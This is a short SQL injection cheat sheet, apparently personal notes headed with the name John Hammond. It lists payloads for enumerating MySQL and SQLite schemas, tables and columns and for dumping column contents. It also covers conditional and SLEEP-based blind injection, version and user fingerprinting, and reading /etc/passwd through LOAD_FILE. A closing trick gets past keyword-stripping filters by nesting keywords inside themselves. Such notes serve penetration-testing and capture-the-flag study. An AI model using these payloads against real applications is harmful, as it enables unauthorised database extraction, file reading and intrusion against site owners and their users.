John Hammond
SELECT GROUP_CONCAT( SCHEMA_NAME ) FROM INFORMATION_SCHEMA.SCHEMATA
SELECT GROUP_CONCAT( TABLE_NAME ) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="<DATABASE_NAME>"
TO DO THIS FOR SQLite:
SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'
SELECT GROUP_CONCAT( COLUMN_NAME ) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="<TABLE NAME>"
TO LEAK THE WHOLE SCHEMA OF A TABLE IN SQLITE:
SELECT GROUP_CONCAT(sql) FROM sqlite_master WHERE type='table'
SELECT GROUP_CONCAT( "<COLUMN_NAME>" ) FROM "<TABLE NAME>"
IF THIS DOES NOT WORK, TRY WITHOUT THE QUOTES!!
SELECT "value" CASE WHEN condition>0 THEN 'return this' ELSE 'return instead' END
This may be best used with timing attacks, like SLEEP(1)
as the else condition action. Other option might be:
SELECT ( IF ( 1=1, "Condition successful!", "Condition errored!" ) )
SELECT @@datadir
SELECT @@version
SELECT user();
SELECT system_user();
SELECT LOAD_FILE("/etc/passwd");
Some applications try to replace keywords with an empty string. If this is the case, try and trick it by placing the keyword inside of itself. This is devious!
frfromom => from
oorr => or
loaload_filed_file => load_file
selselectect => select